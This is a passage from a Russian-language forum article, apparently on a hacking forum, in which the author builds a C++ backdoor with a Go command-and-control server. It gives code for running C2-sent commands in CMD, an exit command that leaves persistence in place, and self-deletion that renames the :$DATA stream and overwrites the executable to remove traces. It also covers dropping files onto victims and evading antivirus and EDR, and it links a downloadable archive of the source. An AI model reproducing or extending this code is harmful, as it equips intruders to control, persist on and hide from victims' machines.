Тут мы принуждаем наш код игнорировать неизвестные и просроченные сертификаты через присвоение переменной hHttpFile нужных параметров (SECURITY_FLAG_IGNORE_UNKNOWN_CA и SECURITY_FLAG_IGNORE_CERT_CN_INVALID). После чего всё начинает работать с нашим локальным сервером с самоподписанным сертификатом.
В остальном вроде всё просто. Ответ сервера забираем из переменной buffer. Запускаем на серваке tcpdump и смотрим как выглядят кракозябры в зашифрованных пакетах при отправке и получении данных между клиентом и сервером. Значит всё работает как надо!

Попадалась инфа на форуме, что использование TLS не является панацеей от аверов и прочих EDR. Типа эти вредители каким-то образом по сигнатурам фильтруют трафик. У меня есть предположение что на это может влиять качество сертификата сервера. И если применять какой-либо лигитимный, а не самоподписаный, то должно обходить сторожей. Руки пока не дошли с этим разобраться самостоятельно. Если кто-то кратенько растолкует этот момент или даст ссылку на почитать об этом, буду примного благодарен.


0х07: Выполнение команд.

В процессе общения с сервером в текущей версии бэкдор будет использовать пять типовых команд. Это закачка файла жертве, закрепление, сбор информации о заражённой системе, переход в режим сна, самоудаление, завершение процесса бэка в памяти. Если от сервера пришла какая-то другая команда, бэк пробует запустить её в CMD. Функция запуска реализована в заголовочнике exec_command.h:


C++:
#define BUFFER 5096


std::string exec_command(const char* _command) {

    FILE* p_Out_command;

    char crBuffer[BUFFER];

    std::string out_command;

    // выполняем требуемую команду

    if ((p_Out_command = _popen(_command, "rt")) == NULL)

        exit(1);


    // пишем вывод команды в строку

    while (fgets(crBuffer, BUFFER, p_Out_command))

            out_command += std::string(crBuffer);


    int endOfFileVal = feof(p_Out_command);

    int closeReturnVal = _pclose(p_Out_command);


    if (!endOfFileVal)    printf("Error: Failed to read the pipe to the end.\n");

  

    return out_command;

}

Закачка файла на тачку жертве далет наш бэк немножечко дроппером. Идеально если сразу запускать код в памяти и не светиться своими файлами на диске. Но ситуации бывают разные. Поэтому пусть будет так. Код закачки файла не мой. Взял тут: threads/133342/ Разместил код в заголовочнике down_file.h.
Завершение процесса бэка в памяти тоже иногда пригождается. При этом все наши закрепы внутри системы продолжают оставаться на своих местах. И после перезагрузки бэк снова оживёт.

C++:
// смотрим команду завершить процесс агента

    else if (CommandB.c_str() == EXT) {

        ResultCommand = "Exit in application. Good bye!!!";

        strEndPointSvz = aesDecryptToStr(vctEndPointSvz, vctIdClient, vctIv);

        // отправляем результат C2

        DataForSvz = SetDataForSvz(strEndPointSvz.c_str(), IdClient, ResultCommand.c_str());

        strEndPointSvz = "";

        Command = send_to_serv(HostSvz, DataForSvz, ErrorReadCmd);

        return 0;

    }

Про закреп, сбор инфы, режим сна и самоудаление рассказано в отдельных частях статьи.
Почитывая обзоры на чужие коды всякой разной малвари видел замечания опытных малварщиков на способы построения структуры команд в комплексе клиент-сервер. Там оснавная идея заключалась в создании такой структуры в одном месте (одном файле). И включении этого файла в билд сервера и клиента. Такая структура действительно создаёт удобные условия для управления количеством потдерживаемых команд. Правда там обсуждение было для реализации на C#. Я пока не повстречал решения для реализации токой задумки под клиента на С++ и сервера под Go. Как идея может стоить посмотреть в сторону файлов json? Но это не точно. Короче ещё один вопрос, который требует проработки в будующем.


0х08: Самоуничножение.

Чтобы наше хозяйство не светило своим "хозяйством" в неположеных местах в неположенное время разумно предусмотреть функцию самоудаления. В моём случае это реализовано через способ описанный на гите по ссылке из этого поста threads/47136/ . Основная идея способа заключается в переименовании секции :DATA экзе файла из которого мы заупстили процесс бэкдора. Если эта операция прошла успешно, тогда мы бессердечно переписываем произольными байтами наш файл на диске. И может его удалить. Так как после переименования связь запущенного процесса с файликом EXE на диске теряется. На практике оказалось что некоторые сборки вЕнды отказываются переименовывать секцию :DATA. Поэтому считаю вопрос надёжного способа удаления следов на диске для себя открытым.

В PoС о котором написал выше добавил перезаписывание ехе файла произвольными байтами.


C++:
DWORD getFileSize(const wchar_t* filename) {


    // Открываем файл

    HANDLE hFile = CreateFile(

        filename,          // Имя файла

        GENERIC_READ,              // Доступ на чтение

        FILE_SHARE_READ,          // Разрешаем совместный доступ на чтение

        NULL,                      // Без атрибутов безопасности

        OPEN_EXISTING,            // Открываем существующий файл

        FILE_ATTRIBUTE_NORMAL,     // Нормальные атрибуты файла

        NULL                       // Без шаблона файла

    );


    if (hFile == INVALID_HANDLE_VALUE) {

        std::cerr << "Error open file: " << GetLastError() << std::endl;

        return -1; // Возвращаем -1 в случае ошибки

    }


    // Получаем размер файла

    DWORD fileSize = GetFileSize(hFile, NULL);

    if (fileSize == INVALID_FILE_SIZE) {

        std::cerr << "Error get size file: " << GetLastError() << std::endl;

        CloseHandle(hFile); // Закрываем дескриптор

        return -1; // Возвращаем -1 в случае ошибки

    }


    CloseHandle(hFile); // Закрываем дескриптор

    return fileSize; // Возвращаем размер файла

}


LPCVOID generateRandomBytes(size_t byteCount) {

    // Выделяем память для хранения байтов

    BYTE* buffer = new BYTE[byteCount];

    if (buffer == nullptr) {

        std::cerr << "Ошибка выделения памяти!" << std::endl;

        return nullptr; // Возвращаем nullptr в случае ошибки

    }


    // Инициализируем генератор случайных чисел

    std::srand(static_cast<unsigned int>(std::time(nullptr)));


    // Заполняем буфер случайными байтами

    for (size_t i = 0; i < byteCount; ++i) {

        buffer[i] = static_cast<BYTE>(std::rand() % 256); // Генерация байта (0-255)

    }


    return static_cast<LPCVOID>(buffer); // Возвращаем указатель на данные

}


BOOL AutoDelete_2() {



    ...

  

    DS_DEBUG_LOG(L"successfully renamed file primary :$DATA ADS to specified stream, closing initial handle");

    CloseHandle(hCurrent);

    free(pfRename); // Освободить память, выделенную в ds_rename_handle

    pfRename = NULL;

  

    // определим размер файла из которого запустили наш процесс

    DWORD size = getFileSize(wcPath);


    // нагенерируем пачку произвольных байтов

    LPCVOID randomBytes = generateRandomBytes(size);


    // попытаемся переписать начинку файла произвольными данными

    DWORD bytesWritten;


    // Создаем или открываем файл для записи

    HANDLE hFile = CreateFile(

        wcPath, // Имя файла

        GENERIC_WRITE,  // Открытие для записи

        0,              // Нет совместного доступа

        NULL,           // Без безопасности

        CREATE_ALWAYS,  // Создать новый файл, если он существует, удалить

        FILE_ATTRIBUTE_NORMAL, // Обычные атрибуты

        NULL            // Нет шаблона файла

    );


    // Проверяем, удалось ли открыть файл

    if (hFile == INVALID_HANDLE_VALUE) {

        std::cerr << "Error creating file: " << GetLastError() << std::endl;

        return 1;

    }


    // Записываем данные в файл

    if (!WriteFile(hFile, randomBytes, size, &bytesWritten, NULL)) {

        std::cerr << "Error writing to file: " << GetLastError() << std::endl;

        CloseHandle(hFile);

        return 1;

    }


    std::cout << "Successfully wrote " << bytesWritten << " bytes to the file." << std::endl;


    // Закрываем дескриптор файла

    CloseHandle(hFile);


    // Открыть другой дескриптор, инициировать удаление при закрытии

    hCurrent = ds_open_handle(wcPath);

    if (hCurrent == INVALID_HANDLE_VALUE) {

        DS_DEBUG_LOG(L"failed to reopen current module");

        return FALSE;

    }


    ...


}


0х09: Выводы.

Начиная писать своего франкенштейна я предпологал что будет сложно. Только это оказалось ещё сложнее чем я думал. У меня есть понимание что многие вещи написанные мной сейчас либо уже устарели, либо написаны криво. Я не мастер, а только учусь. Если кто-то мне укажет на явные проявления отстойного кода, буду этому только рад. Специально постарался построить статью так, чтобы в первой половине рассказать об идее. Во второй половине я попытался эту идею реализовать. Доведя код до окончания я увидел какие разделы сейчас бы переписал. Решил оставть это для другой версии. Если кому-то такая новая версия будет интересной с удовольствием буду сотрудничать.

На сейчас в сухом остатке имеем около 600 кБ размер бинарника. Если убрать лишние подключенные библиотеки для вывода инфы в терминал и ещё кое-какие места подчистить думаю удасться довести до 400 кБ. Внёс кое какие дополнения в код С2 по сравнению с версией, о которой ранее писал статью. Команда на сбор инфы будет выполнять автоматически при подключении нового клиента к серверу.

В архиве лежат три папки. С исходным кодом и заголовочниками бека. С серверами "знатоком", С2 и файла отдающего файлы. Так как у кучи народа возникают сложности с кодировкой base64 в этот раз пароль просто местный без всяких примудростей. Ещё в папке backdoor есть змеиный скрипт convert.py. Он поможет преобразовать закриптованную строку вида "68cd3c45574c3b3a75e6a485981e012b" преобразовать в вид "0x68, 0xcd, 0x3c, 0x45, 0x57, 0x4c, 0x3b, 0x3a, 0x75, 0xe6, 0xa4, 0x85, 0x98, 0x1e, 0x01, 0x2b"
 

Вложения

  • backdoor_miedle_v1.0.zip
    149.8 КБ · Просмотры: 41
Последнее редактирование:


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх